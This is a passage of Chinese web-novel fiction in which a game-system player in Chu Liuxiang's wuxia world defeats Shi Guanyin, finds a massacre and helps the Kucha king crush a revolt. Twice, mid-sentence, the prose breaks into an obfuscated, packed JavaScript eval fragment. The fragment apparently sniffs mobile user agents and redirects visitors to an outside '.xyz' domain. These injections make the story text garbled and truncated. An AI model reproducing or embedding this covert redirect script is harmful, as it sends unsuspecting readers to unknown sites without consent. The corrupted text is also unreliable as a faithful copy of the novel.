黄衣少女道,“什么药吃多了都会死人的。这迷药你若是吃的多,不仅会死,还会生出幻觉来,看到不存在的东西,在恐惧和疲惫里活活累死!” 芒青像是被吓得呆住了,还待开口,却只听一道轻柔如丝绢的女声忽然幽幽响在了耳边。 “你若是再问下去,她们的性命恐怕就保不住了。” 芒青悚然一惊,抬头看去,一名白衣人已不知何时站在了门口。 能在玩家面前将行迹遮掩得如此不露声息,来人的武功绝对比她想象中的还要高。 即使同样穿着白色的衣服、蒙着轻纱,就连身形也相差无几,但旁人还是一眼就能分辨出她和先前的少女并不是同一个人。 那种独特的、能在不知不觉中吸引到所有人的注意的风采,全天下恐怕也仅她一个人拥有。 两名少女膝盖一软,已双双拜倒在地,战战兢兢,口称“师傅”。 芒青的视线缓缓上移,只见白衣人的头顶赫然顶着一行明晃晃的大字。 【石观音[lv.500]】 芒青:“……” 芒青:“…………” 玩家看了看自己的面板详情,又看了看队友的等级,陷入了沉默。 我打石观音,真的假的…?[1] 14. 第十四章 * 总之,无论真假,芒青都没动手。 识时务者为俊杰,而她显然是一位深谙此理的俊杰。 现在,玩家正坐在一间屋子的椅子上,谨慎地在系统面板里存了个档。 这自然不是一开始关押他们的房间,反而更像是一处密室。 密室里没有梳妆的用具,没有华美的锦缎,没有绵软的地毯……这里甚至没有任何装饰。这里也不需要任何画蛇添足的点缀。 人只要身处其中,就会感受到一种舒适、一种放松、一种发自内心的愉悦。 这样一间屋子的主人显然也不会是一个普通人、一个俗人。 石观音摘下了她的面纱。 芒青不由自主地屏住了呼吸。 这世界上所有形容美丽的词语都不足以描绘石观音的容貌。 她的美实在已经超脱了世俗,穷尽了人类的想象。 世人常用闭月羞花来形容美人,而芒青觉得,若此时这里真有一支鲜花,瞧见这一幕,恐怕也会合拢花苞,不敢再看。 当她静坐不动时,便如同神龛中的观音一般悲悯、圣洁。当她眨一眨眼,笑上一笑,就又变得像壁画中那栩栩如生的神女了。 而这样一位足以让国家为之倾倒的女人,此刻正缓缓地迈着步子向芒青走来。 不必言语,这样的举动,本身就是一种邀请了。 少年人痴痴地瞧着她,情不自禁地伸出手扶住了她的腰。 石观音低低一笑,像一片随风而落的花瓣,就这样被她抱了起来。 年轻人的动作略显急促。无论是什么人,见到了石观音、看清了她的脸,都不会无动于衷的。 她没有向着床榻的方向走去。或许她此刻已经全然被眼前的人迷惑了,再顾不得那么多。 石观音纵容而轻慢地微笑着,指尖划过芒青的鬓发,抚摸上她的唇角。女人的笑容带着猎人对猎物的势在必得,而她也的确配得上这样的自信。 或许真的只有瞎子、聋子才能忽略她的魅力。 ——直到她的后背抵上了一片带着凉意的光滑布料。 天青色的帷幔垂落下来,露出了一面巨大而华美的镜子。 石观音的表情变了。她猝然出掌,对面的人却早有预料般急退几步,避过了这刁钻的一招。 芒青抬起头,眼神无比清明,夹杂着些许揶揄的笑意。 石观音听见了她的声音,依旧是那么温润、清朗,却让她前所未有地感觉到胸膛中那股正在熊熊燃烧的怒火。 “一日不见如隔三秋,算来,我们如今已隔了六个秋没见了啊,王妃娘娘。在下一直想念着您。” 与此同时,屋门被人霍然撞开。 楚留香、胡铁花、姬冰雁和一点红正站在门口,吐息均匀,气息绵长,哪里还有先前那副体虚无力的模样。 石观音面色几变,终于冷笑道,“原来竟是我小看了你。” 芒青笑道,“我很信任楚大侠的实力,即使落人一步,结果也并不会有什么改变。不过很对不住,这第一步棋的先机,恐怕已经让我拿到了。” 她手腕一翻,一颗华光溢彩的宝石便出现在了掌心里,正是那宣称已落入石观音手里的‘极乐之星’。 石观音视线扫过,却并不以为意,轻蔑道,“难道你以为这样就能打败我么?” 芒青讶然,“前辈怎么会这样想。前辈武功卓绝,又比晚辈多走了几十年的路,前辈的功力,晚辈自然拍马也赶不上。若前辈有意于这石头,晚辈也只好双手奉上,万不敢有半分推脱的。” 她一口一个前辈晚辈,纵使楚留香等人的心情再沉重严肃,此刻也不由无奈失笑。 石观音的脸色愈发难看,显露出了一丝狰狞的扭曲来。 时间对所有人来说都是公平的。无论你是好人还是坏人,拥有了怎样滔天的权势、地位和财富,你都依然会老去,失去如今所拥有的一切,面对自己最终的归宿。 只是,总有一些人是接受不了这个事实的。 忽然间,石观音凌空纵身而起,只在转瞬之中就已迅如闪电般攻出了七招。 她的动作狠辣至极,也诡异至极,几乎连残影都跟不上。往往等人看清上一招时,便再没机会去看她的下招了。 芒青拔刀,咬牙生生抗过了这七下闪击。待石观音收回手时,平平无奇的铁刀立时发出一声脆响,再次光荣牺牲。 血亏199金币的玩家来不及替道具哀悼。倘若不是楚留香及时赶到,她现在就该出现在系统的读档页面了。 趁着楚留香四人牵制住石观音的功夫,芒青一边满头大汗地逃命,一边不忘初心,坚持不懈地输出垃圾话,狂踩boss痛脚,企图在精神层面上给敌人造成迎头重击的效果。 “前辈的易容精妙,只可惜前辈的风姿实在独一无二,这种历经岁月打磨的气质岂是凡俗之辈可以模仿的,是以晚辈一见到前辈,立刻就将前辈认出来了。” 石观音怒极,一掌击出,姬冰雁的判官笔应声而断。 若非胡铁花拉他一把借力,而他本人也闪躲及时,此刻前胸便该多出一个大洞来了。 饶是如此,姬冰雁还是负了伤。石观音指尖擦过,他的左臂霎时间血流如注。 这时候,她也不过只出到了第十三招而已。 “许是前辈年纪真的大了,精力不济,才会选中王妃这个身份吧。说来您二位的年龄也甚是相投呢。不瞒前辈,晚辈与前辈相处时,是真的感受到了母亲般的关怀。” 楚留香胡铁花姬冰雁:“……” 就连中原一点红也忍不住抽动了一下嘴角,莫名产生了一种扶额的冲动。 在玩家持续的嘴炮输出之下,石观音的火力自然全朝向了她一人。 当石观音发现无论如何也杀不了芒青时,她就会变得急躁。众所周知,高手过招,最忌急躁。 心境一变,动作就会失误。芒青在等的就是她失误的时机。 只是,即使石观音心绪已乱,即使她的招式已不再那样严谨,但实力的悬殊差距之下,胜利的天平所倾斜的方向依然是那样不可撼动。 楚留香等人渐渐力有不逮,石观音却越发游刃有余起来。 她像一只正在玩弄老鼠的猫,分明可以一爪子将他们拍死,却并不愿意这样做。 她在等芒青出手,等她忍不住来帮楚留香,把自己主动送到她掌下。 一点红的剑向来以狠绝闻名,可此刻,在石观音的面前,那柄断送过无数人性命的利刃却像是老人家手里的绣花针,漏洞百出、不堪一击。 石观音的招式也慢了下来。虽然慢,却更险。 楚留香从未见过这样奇诡的武功。 她出手越缓,旁人便越看不穿她攻击的位置。落子有悔,千变万化只在一念之间。 一点红像是变成了一尊木桩,只等着人家来打。 他无法避,也不能避。只因无论他怎么躲,石观音的这一只手都有把握追上他。 楚留香面色大变,出手要拦,却已经太迟了。他只能眼睁睁地看着那只手离一点红越来越近、越来越近,直到它即将触上杀手的心脏。 就在这时,一道灿若银河的霞光乍然破开空气,雪亮的剑锋映照出了执刀人沉静的面容。 石观音微微睁大了眼。 断山剑凌空而出,正斩在石观音和一点红之间,于那生死一线硬生生劈开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118114|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条生路。 “来。”她说。 * 这是楚留香第一次真正意义上见到她出手。也是此时,他才意识到,从前种种都只不过是少年人的小打小闹。 现在的芒青,才是剑客。 年轻人眉眼冷峻,像一柄利刃。 石破天惊,锋芒毕露。那些风流的潇洒肆意就像是沙滩上的潮水,一息间退了个干净。 楚留香遇到过无数豪杰,也认识许多剑客,却从来没有见过这样的剑。 这样的一把剑握在这样的一个人手中,天地几乎都要为之失色。即使你用尽毕生所学的词汇去形容,也都显得贫瘠。 看到她的时候,你就会联想到那把剑,看到那把剑的时候,你也会想起她。 剑身出鞘,便再不能有第三个人参与进这场决斗中了。 剑气如同一条具有生命的游龙,剑光宛若追逐月亮的流星。旁人永远想不到它会从什么地方出招,就像他们永远也猜不出它会从什么角度拦下石观音的攻击。 不知不觉间,石观音已退到了墙边。 她的身后是那面精致而华美的宝镜。镜子里有一个鬼魅而美丽的白衣身影,镜子外也有一个高挑的白衣身影。 她本来应该觉察到的。她本也可以觉察到的。 ——如果同她过招的不是眼前这个人的话。 此刻,石观音不得不打起十二万分的注意去应对她的对手。 芒青的剑看起来很笨重,一剑既出,战意凛然,杀意磅礴,覆水难收。 只有真正与她交手的人才知道,这一剑同时也能衍生出无数种变化来衔接下一剑,是以出剑愈多,剑风愈稳,持剑者由此越战越勇。 石观音几乎已沉浸在这种棋逢对手的紧张之中了。直到她看到面前的人收起了剑,听见了耳边硬物碎裂的声音。 她缓缓回过了头。 镜中那张鲜妍美丽的面容也慢慢转了过来,透过镜子望向她。 就在她们对视的一刹那,镜面忽然如同蛛网一般碎裂开来,将镜中的人切成了一块块碎片。 石观音好似呆愣住了。她看着那个被分割开来的扭曲人影,就像是仍然不能理解发生了什么一般茫然。 许久,这个几乎没有弱点、无可撼动的女人爆发出了一声尖啸。 此刻,她不再像是佛像,也不再像是神女。她变成了一只失去了爱人的野兽,她的神情是那样凄惶、愤怒、悲伤。 对付这样一个几乎已经完全丧失了神智的人,于现在的芒青而言,实在是再简单不过的事情了。 “嘀嗒”。“嘀嗒”。 血液像断了线的珍珠,一颗颗滴落在地上。 剑身上沾染了鲜艳的色泽,石观音的胸膛被重剑贯穿。 她脸上的疯狂消失不见了。那个强大、美丽、狠毒的灵魂似乎重新回到了这具躯壳之中。 她的心脏仍然在跳动,芒青并没有刺中她的要害,石观音却主动向后退了一步,将自己从剑刃上拔了出来。 她倒在了地上,眼睛却依然对着镜子的方向。 她朝自己的爱人诉说着,一如往昔。镜中人也仍旧静静地聆听着。一如往昔。她总是最懂她的。 “……我输了。” 镜子里的石观音感同身受地悲伤着、不可置信着,目光中却仿佛带上了些许了然。 她已经知道了她的决定。她还是那么理解她。 石观音闭上了眼,身体转瞬化成了一摊白骨。 白衣仍维持着主人生前躯体的轮廓,几息后才静默无声地落下,盖在了她的身上。 镜中的那个人也随着她一起死去了。无论什么事情,她总是愿意陪她去做的。 15. 第十五章 * 红颜枯骨不过一息之隔。石观音偏执地渴求着的权力、财富、地位、容貌都在她决意赴死的那一刻失去了意义。 楚留香用布条替姬冰雁勒住了胳膊,以防队友刚从boss手下死里逃生就惨遭失血debuff的淘汰。 【您已使用S级武器[断山剑],持续增益将在[0:9:59]后失效】 【[断山剑]增益效果消失,冷却时间[71:59:59]】 【[警告]生命值已低于10%】 【[警告]生命值已低于3%】 【您已死亡,是否返回桌面读档 [是] [否]】 【[警告]生命值已低于10%】 【玩家已使用[中级回春丹2],当前生命值[64/120]】 【您已死亡,是否返回桌面读档 [是] [否]】 …… 【您已回档[20]次,达成初级成就[这剧情我比策划还熟]。奖励已发放至系统邮箱,请玩家查收】 【玩家已击杀[石观音],获得升级点数100,经验点数6000,金币奖励20000,获得[石观音的身世线索1]】 【检测到掉落物品:[高级回春丹5] [中级回春丹10] [高级解毒丸5] [中级解毒丸10] A级道具[王妃的手帕(可装备点击查看详情)] B级道具[一面残破的宝镜] B级武器[黄金匕首] B级道具[人.皮面具中级] B级道具[一本平平无奇的剑谱]】 【[系统邮件]您已升级,当前等级[lv.47]】 【[系统邮件]您已升级,当前等级[lv.48]】 【[系统邮件]您已升级,当前等级[lv.49]】 【[系统邮件]您已升级,当前等级[lv.50]】 【玩家已使用[中级回春丹3],当前生命值[91/120]】 读档二十多次才找到boss弱点、痛击镜子终于得以通关的玩家关闭游戏面板,心累地叹了一口气,实在没什么精力去研究奖励。 楚留香恰好听到,循声望来。 少年人眼帘微垂,分明并没有什么表情,可楚留香却觉得她的眼底似乎正映着一抹极其浅淡的哀伤。 于石观音而言,那些被她伤害的人与蝼蚁并没有什么分别。直到生命终结之时,她也没有为此感到一分一毫的愧疚。 她早已爱上了镜子中的自己。 当一个人拥有旁人无可匹敌的力量、建立了足以令一国之君忌惮的势力、可以随意左右旁人的生死时,她一定会不可避免地将自己神化。 除了她自己,这世间又还有谁能够匹配得上她呢。镜子中的正是她所渴望的那个完美的石观音。 这样一个被权力异化、机关算尽、心性狠绝、扭曲极端的人,又怎么能接受自己失败的事实呢。 即使死亡,也一定要是她自己选择了赴死。 …… 芒青五人与石观音一番苦战,自然发出了不小的动静,只是如今boss已死,兵戈之声止歇,谷内竟仍没有一个人前来探问。 楚留香道:“或许正因石观音平日积威甚重又武艺高超,那些弟子不觉得她会输给我们,才并不担心。” 姬冰雁冷道,“恐怕无论叫谁来看,都想不到石观音会死在我们手里。” 楚留香摸了摸鼻子,无奈苦笑。 芒青始终没有说话。 从刚才开始,她的目光就一直静静地落在系统地图上,右手已缓缓抚上了剑柄。 “我没有听到呼吸声。”她说。 楚留香一愣,转过头注视着芒青平静的神色,忽然感觉到了一股悚然。 他听见自己的心脏剧烈地跳动了起来,血液一股一股地冲击着耳膜,几乎让眼前的画面都变得扭曲。 姬冰雁惊骇道,“你是说……” 芒青看着他,那双总是带着闲适笑意的眼眸此刻像是覆着一层彻骨的薄冰,“这整个石谷里,我没有听到活人的声音。” 胡铁花已经抢出了门去。 他冲到门口,却像是看到了什么极为可怖的画面一般定在了原地,脸色刷一下变得惨白,血色尽失。 楚留香、姬冰雁和一点红紧随其后。他们跨过了那道门槛,便也好似变成了三尊石雕,呆立在当场。 长廊上密密麻麻摆满了尸体。 这些人有的是被一箭刺穿了喉咙,有的是被击碎了胸骨;有的被人活生生勒死,有的被折断了脊椎。 她们的表情无一不诉说着惊恐,双目大睁,仿佛直到临死的前一刻也依然不敢相信自己看到的事物。 饶是一点红这样见惯了死人的杀手,此刻也不禁寒毛直竖,几欲作呕。 胡铁花先前走得太急,抬脚踢到了门边的尸身。他木楞地向后挪了一步,尸体没了支撑,头颅歪斜,露出了脖颈处的断口。 这个人的整条脖子几乎都快被切了下来,只剩一点皮肉黏连着身体。 她旁边的半颗脑袋像一只被人从高空抛落而下的西瓜,红的白的流了满地。 姬冰雁终于再也忍不住,扑到栏杆边干哕起来。 系统的防护功能此刻反而成为了玩家寻找线索的助力。芒青顶着满眼的马赛克,从其中一具被穿颅而过的尸体里掏出了一把正闪动着提示光芒的小剑。 翠绿的剑身上插着一张同样艳色的纸。 【画眉鸟敬赠】 往前两步,便又是一具尸身。 她身上同样有一张绿色的纸。 【画眉鸟敬赠】 【画眉鸟敬赠】【画眉鸟敬赠】【画眉鸟敬赠】【画眉鸟敬赠】【画眉鸟敬赠】【画眉鸟敬赠】【画眉鸟敬赠】【画眉鸟敬赠】 每一具尸体上,都有这样一张小小的、翠色的纸。 楚留香已经从这尸山血海般的景象中回过了神。他苦笑,“恐怕这便是那画眉鸟特意留给我们的签名了。” 一点红说,“她不仅要杀人,还要让所有人都知道人是她杀的。” 胡铁花忽然大叫道,“你们看……这些尸体的脸上全都没有眉毛!” 楚留香凝神,“凶手既然杀人,又何必多此一举,剃掉她们的眉毛?” 芒青起身,从尸体上摸出了一块尚且还算干净的手帕,慢条斯理地擦拭着手指上沾到的血污,“或许被剃掉的眉毛才是她的‘签名’。” 她屈指一弹那薄如蝉翼的信纸,“而这些,大概正如其上所写,是送给我们的礼物。” 胡铁花倒抽一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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芒青对向npc进行最后的人道主义关怀没多大兴致,但这项工作很能减少一些马赛克对玩家视力的摧残,遂干得尤为卖力。 只是不知道为什么,她总有一种想打喷嚏的错觉。 玩家调出系统面板。状态正常,血量无忧,难道还能有人在背后嘀咕她不成。 依旧是熟悉的花香。胡、姬二人和一点红有了经验,早早屏住了呼吸。 芒青在花田边见到了一个熟悉的人影。 她依然穿着一身白色的衣服,却不再冷漠得让人难以接近。 白衣人——或许现在应该叫她曲无容了。她只身一人站在尸山血海之中,望过来的视线有些茫然,也有些哀伤。 在这样的情形下猝不及防遇到了一个活人,楚留香、胡铁花、姬冰雁和一点红下意识地警惕了起来。 倘若她不是幸存者,那便一定就是凶手。 曲无容的目光又恢复了那种冰冷的麻木,漠然地扫视过几人,抬脚欲走。 忽然,她的手腕被人抓住了。 是那个被石观音特别关注的年轻人。 她仍旧是一副笑意盈盈的模样,好似无论发生什么事情、无论旁人用怎样的态度对待她,都无法真正阻止她、击退她。 曲无容没有挣开那只手。可能连她自己都没有意识到,她正在等待着、期待着。 曲无容听到了那个少年人的嗓音,一如她这个人般清润。 灿金的阳光落在肩头,为她的发丝镀上了一层温暖的橙黄色。 “这段路的风沙很重,我们一起走吧。” 16. 第十六章 * 石峰掩映的曲折峡谷透不进天光,却通往着光明。 曲无容迈出的步伐没有犹豫。她只是最后回头再看了一眼。 那些失去了声息的女孩子也许曾对她恶语相向,也许曾向她投以钦羡的目光。或许她们曾以同伴相称,或许她们选择的路背道而驰。 人这一生,总会在某一个时刻忽然意识到,回忆的确是亡故之人存在过的证据。 尸体逐渐掩埋在层层黄沙之下,只有活着的人记得她们。 或许等上数年、十数年、数十年,会有一个过路的旅人偶然经过这里,发现埋葬其中的白骨。 但走出这片石林的人,再也不会被过往牵绊住前行的脚步。 …… 陡峭嶙峋的山石逐渐被他们抛在了身后。芒青回头,眺望着那片遮天蔽日的庞然巨物,竟有种恍如隔世之感。 天色将晚。几人又行了几里,便要在此分别了。 曲无容还有她的路要走。而芒青等人也有自己的事要办。 女孩子坐在马背上。这匹杂毛马是楚留香他们从半天风的客栈里寻到的。 无人打理的马圈在大漠的高温下蒸腾起一股让人不敢恭维的气味,曲无容却不以为意。 芒青牵着马,自然地与她并行。 曲无容垂眸看着眼前的少年。那根赤红色的发带随着主人的步伐规律地晃动。其实满打满算,她们相识也不过只有短暂的、不到两天的时间。 “要看戏法吗?” 曲无容拉回思绪,困惑地歪一下头。 芒青伸出一只手,五指摊开,空无一物。她攥紧拳,再张开,这次掌心中放上了一朵白色的小花。 花瓣随着清风微微摇曳。年轻人含笑道,“送给你。” 曲无容也笑了。 她仍带着面纱,但曲无容相信芒青一定知道她正在笑。她们彼此之间仿佛天生就不需要解释什么。 “在哪摘的?”一个问。 “石缝里。”另一个答。 “你看,即使是沙漠中的夹缝,也是有可能开出花朵来的。” “……”曲无容静默,出神地想了什么,半晌道,“是啊。” 这两个字说出口来,似乎也像是下定了某种决心。 一身白裳的姑娘抬起了手。芒青若有所感,同样停下了脚步。少年人的目光像一片云朵、一缕阳光,轻轻地落在人身上,不会带来分毫压力。 曲无容缓慢而坚定地解下了那层面纱。 楚留香回过头。 他看见那条柔软的轻纱勾勒出了风的轮廓,乌发飘扬。 马背上的人倾身,旁边那道修长高挑的身影便顺势上前一步,伸手帮她将鬓发捋到了耳后,唇角微弯,莞尔说了什么。 芒青没有问曲无容将去往何方,曲无容也没有主动提起。 “青山一道同云雨”[1],山水自然有相逢。 年轻人递过手里的缰绳,“再会。” 曲无容的眉宇间显露出一股别样的神采来,如同乍泄的天光破开乌云,几乎与从前判若两人。 她打马扬鞭,意气风发道,“再会!” * 楚留香等人的骆驼在他们上船后便不知了踪迹,好在半天风的客栈还有井水、些许馕饼和四五匹马。 众人把水囊装满,休整一番便启程上路。 勾选了坐骑自动跟随的芒青吹了声口哨。不多时,一阵蹄声响起,黑马哒哒地奔了过来。 芒青翻身上马,按着地图指引的方向往回走。 她摸出木头来,赶路的途中一心二用,一点一点雕琢着。这细细长长的木料跟着她一起东跑西颠,竟没有摔折裂损。 姬冰雁瞧出几分端倪,问,“发簪?” 芒青没抬头,简略地发出一个单音作为回答。 胡铁花的视线下意识在少年人发间一扫而过。姬冰雁却更了解一些,道,“送人的?” 芒青笑了,“很明显吗?” 姬冰雁垂下视线,没有言语。胡铁花奇道,“芒青姑娘这是要送给谁?” 少年人悠然道,“唔……一只小蝴蝶。” 胡铁花:“啊?” 姬冰雁默然半晌,“是那琵琶公主罢。” “姬先生实在好眼力。” 楚留香眼睁睁看着年轻人变戏法似的从布囊里摸出了一块粉色的玉髓来,三两下雕了个雏形。 他忍不住道:“芒青姑娘,你把东西放在这里,不怕旁人偷走么?” 那布袋似乎是一直挂在马身上的。 芒青心道谁能从系统背包里偷东西啊,嘴上还是得老老实实编个借口搪塞npc,“没事,我还有。” 楚留香:“?” 玩家把玉髓放在木料上比划了一下,皱皱眉,不大满意的样子,伸手掏了一块更大的粉玉出来。刚削好的木簪转头被主人扔到了一边。 楚留香:“……” 芒青的巧匠等级已经很高了,即使是质地坚硬易碎的玉石,在她手下也像是柔软的椴木一般温顺。 刀刃和玉面相触,切割时发出沙沙的响声。 此地距离龟兹王所在的绿洲只怕已有了数日的路程。一日未曾合眼,又同石观音缠斗一番,楚、胡、姬三人和一点红俱都是一副疲乏的模样。 恰在这时,他们忽然听到了一阵驼铃晃动的声音。 胡铁花眼前一亮,道,“有人来了。” “许是过路的牧人。”楚留香说。 沙漠中的牧民大多都豪爽好客。在目睹了石谷内炼狱般的惨状后,再听到这串代表着温情的驼铃声,是很难不生出亲切的向往之情的。 几人加快速度,很快赶到了传出铃声的地方。 数十匹骆驼安静地跪卧着。这是一只人数可观的队伍,却并不如楚留香所料想的那样由牧民组成。 火升了起来,营帐像一片低矮的山峦,连绵起伏。 大部分人都围坐在火堆边,却没有欢笑和交谈的声音。几名髯须大汉仪容肃整、手持甲械在周围巡逻。 姬冰雁勒住了缰绳,远望道,“看样子并不是普通的牧人。” 胡铁花皱眉,“莫非是龟兹叛臣的手下么?他们来这里做什么。” 姬冰雁道:“情况未明,我们最好还是不要贸然过去。” 一点红冷道,“恐怕就算你不去招惹他们,他们也要主动来招惹你了。” 胡铁花凝神,果然便见巡卫中的几人已经转过了身,朝这边走来。 他们行动间脚程极快,显然俱都有功夫在身。为首的一名中年汉子身材健壮、皮肤粗糙,是典型的异族长相,脸上一片青色的胡茬,身上披着一件抵御夜晚寒风的厚重大氅。 这是一个见过血的人。他的目光如同狼一样锐利,扫视过芒青一行人,右手握着刀柄,站定道,“几位有何贵干?” 楚留香抱拳道,“不瞒阁下,在下等人俱是中原人士,略通些拳脚,此番是来大漠寻亲的,并无意惊扰。” 他语意含糊,显然不欲多提。那汉子却不为所动,刨根究底道,“寻什么亲?” 芒 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胡铁花已忍了许久,此刻怒极,大声道,“你说让我们停我们就停,让我们走我们就非得走,天底下哪有这样的道理!这沙漠莫非是你家的不成!” 青胡子厉声喝道,“你如何知道不是?!这方圆数千里,无论发生什么事情,我等都是能管上三分的!” 胡铁花还待辩驳,楚留香却忽然摁住了他的手,笑道,“既如此,在下等便不叨扰了。” 他以目光示意,胡铁花抬头一看,才发现不知何时这里竟多出了十余名大汉,个个凶神恶煞,虎目圆瞪。 先前一战,除了芒青,他们四人俱都负了伤,姬冰雁的左臂尤其严重。 对方人多势众,在这种情况下贸然动手实在不是什么明智的选择。 胡铁花这样的人,酒要大口喝,朋友要用心交。受了委屈他要大声地说,挨了欺负他会当场讨回公道。 可是此刻,这个一向快意恩仇的侠客只是隐忍地咬住了牙关,攥紧拳头,不再言语。 见他们退让,青胡子也没有再咄咄逼人下去。 几人便要就此离去,芒青握住缰绳,正待借力翻上马背,却在这时若有所感般忽然挑了一下眉,偏头看向远处。 青胡子顺着她的视线望过去,只见天地间暮色苍茫,了无人烟,并没有什么异常。 他皱眉,正欲申斥,芒青却先开了口。 “你们要在这里等什么人?”她问。 青胡子霎时警惕起来,身后的十数个壮汉面露凶光,齐刷刷抽出了刀。 楚留香也瞬间紧绷肌肉,做好了不能善了的准备。 芒青的声音和着晚风轻飘飘地送入他耳中。寥寥数字,却不亚于惊涛骇浪。 “龟兹王,是吗。” 青胡子头皮一乍,长刀已霍然出鞘,直指芒青,大喝,“你到底是什么人?!” 少年人缓缓转过了头。纤浓的睫羽遮住了她的眉眼,面庞在夜色的阴影下显露出一股鬼魅般的稠丽来。 她轻轻叹了一口气,“这位龟兹王,果真是一位很有意思的人啊。” 胡铁花睁大了眼。这句话,他曾在龟兹王将交换‘极乐之星’的任务委派给他们的那天听到过。 气氛剑拔弩张,挑起事端的罪魁祸首却不慌不忙。 玩家把食指放在唇边,轻轻“嘘”了一声。 青胡子大汉不明所以,恼怒道,“巧言令色!你究竟有什么阴谋——” 话音戛然而止。只因他也听到了那阵由远及近的、急促的马蹄声。 17. 第十七章 * 马疾驰的速度很快,必是良驹无疑,转眼间就已到了近前。 那一行有四个人,为首之人身披灰色斗篷,看不清面容,他身边是一个身着玄衣的纤细身影,最后两人落在后面,大抵是护卫或者仆从。 青胡子面色一变,当即顾不得其他,迎上前去。 他虽走了,周围的武士却没退开,仍然警惕地持刀对准芒青几人。 为首那人翻身下马,动作略显急切,却有人比他还快三分。 玄衣人跳下马,朝着芒青所在的方向急奔两步,摘下了自己的兜帽,“都住手!你们为什么用刀指着她!” 帽檐滑落,露出了一张再熟悉不过的面庞。竟是琵琶公主。 楚留香下意识看向了灰袍人。 青胡子道,“这几人行迹鬼祟,我们正在盘查,公主不必忧心……” 琵琶公主气道,“什么行迹鬼祟,这是我的朋友!” 她鬓发微散,腮边生出了薄汗,乌黑的发丝黏连在了雪白的面颊边,分外动人。芒青看着,莫名觉得手指有些痒,不由摩挲了一下。 青胡子大惊失色,转而望向灰袍人。 龟兹王摘下了斗篷,笑道,“大水冲了龙王庙。这几位确是敝邦的贵客,受小王所托来此办事。” 琵琶公主已顾不得许多,一把挥开挡路的汉子,挤进来跑到芒青面前,“你怎么样?有没有哪里受伤?” 芒青笑着替她抚了抚鬓发,轻眨一下眼,“仰赖殿下援手,在下安然无恙。” 楚留香不由摸了摸鼻子。 琵琶公主面上的焦急之色霎时间转为了佯怒,“你要是能在被人家围住的时候嘴皮子也这么利索就好了。” 芒青一本正经,“在下所言句句发自肺腑。” 两人说话的功夫,青胡子已走上前来,抬臂做了一个手势。 十数把长刀齐齐归鞘,他亲自赔罪道,“方才多有冒犯,实在对不住几位。” 楚留香笑道,“不知者不罪,阁下也是尽忠职守。” 青胡子哈哈一笑,此事便算是就此翻篇。他引路道,“几位请。帐篷里已经备好了酒菜……” * 厚重的帐篷由动物的皮毛缝制而成,寒风拍打在上面,透不进半分。 帐内温暖如春。澄澈透亮的羊奶酒盛在水囊里,羊肉上均匀地洒满了盐巴,滋滋作响。偶尔有一两滴油脂渗出,滴落在炭火上,激起一簇小小的火苗。 胡铁花遭了两天的罪,终于能敞开肚子吃喝个痛快,便再顾不得许多。 琵琶公主和芒青低声絮絮说着话。年轻人偶尔会因为话题的内容轻笑一下,不忘把烤好的肉夹给身边的女孩子。 不知她们又讲了什么,琵琶公主忽然惊异地睁大了眼,一副不敢置信的模样。 芒青对她点一下头,琵琶公主盯着她瞧了一会儿,便起身去寻龟兹王了。也不知这二人在打什么哑谜。 姬冰雁看着这一幕,忍不住给自己倒了一杯酒。 再见面时,无论是芒青还是龟兹王,谁都没有提起‘极乐之星’的事情。 龟兹王侧首听完消息,视线在芒青身上一扫而过,面色倒很如常,仍旧是一副豪爽开怀的模样,拍拍琵琶公主的肩让她坐在自己身边。 恰在此刻,一阵沉闷如擂鼓的马蹄声骤然响起。 众人只觉地面震动,连绵不绝,来者恐怕少说也有数百骑。 楚留香率先掀帘出了帐篷。目之所及沙尘漫天,他们身处的营帐已被包围住了。 青胡子手下的大汉俱都弯弓搭箭,严阵以待。 剑拔弩张之时,对面的骑兵忽然如同摩西分海般让出了一条通路。 一人驾马而来,行至军阵之前,喝声道,“我乃龟兹兵马大总管,奉命追查钦犯,你们可有见过四个行迹鬼祟的人逃到这里?” 话说到这里,他却忽然顿住了。 只见青胡子后退一步,龟兹王由琵琶公主陪同着,同样纵马而出。 这个懦弱昏聩的男人此刻竟像是变了一个人一般,终于显露了些许属于帝王的威严来。 他面色沉凝,冷声道,“敏洪奎和洪学汉乃窃国贼子,犯上作乱,人人得而诛之,难道你也要当他们的帮凶吗?” 领头的将士瞧见他的脸,便低下了脑袋,讷讷不能言语,只道,“小人一届行伍之人,只知服从军令……” 琵琶公主冷笑道,“服从军令也要给你下令的人还活着,这命令才能作数罢?” 她把手里的东西向前一掷,布包咕噜噜向前滚了两圈,恰停在两军交界之处。 将士踌躇几番,终是下了马。 他弯腰拆开布包,只看了一眼便骇然失色,再拿不稳手里的东西,让它掉在了地上。 那赫然正是敏洪奎和洪学汉两人的头颅。 龟兹王大笑,“你再瞧瞧这是甚么!” 他一挥手,便有两名大汉呈上了一个木匣,匣盖滑开,露出里面一颗湿淋淋的人头。 将士再支撑不住,已然跪倒在地。 青胡子用刀挑起匣子里的人头,越众而出,大叫道,“反贼安得山已死,尔等皆为胁从,降卒不杀,罪减三等。如有负隅顽抗者,格杀勿论!” 这些士兵原本便是为军令所迫,才不得不附从作乱。此刻龟兹国的三名叛臣皆已伏诛,他们又何必为死人拼命,纷纷卸甲倒戈,没了战意。 少部分效忠于叛臣的拼抢出来和青胡子搏杀,被他三两刀送去殡天,和旧主相会了。 * 一场动乱草草收场,众人又回到了帐篷之中。只是这次,楚留香等人再没了欢饮的心情。 龟兹王红光满面,琵琶公主坐在他身边。 青胡子也入了席,豪饮一番,畅快地舒了口气。 芒青不知去做了什么,片刻才姗姗来迟。 龟兹王见到她,态度更热情几分,笑道,“此番平叛如此顺利,多仰赖少侠援手。若非我这女儿提起,本王还不知道敏洪奎和洪学汉竟已伏诛。” 芒青略一欠身,道,“绵薄之力,不足挂齿。不负所托,‘极乐之星’在下等人已带回来了。” 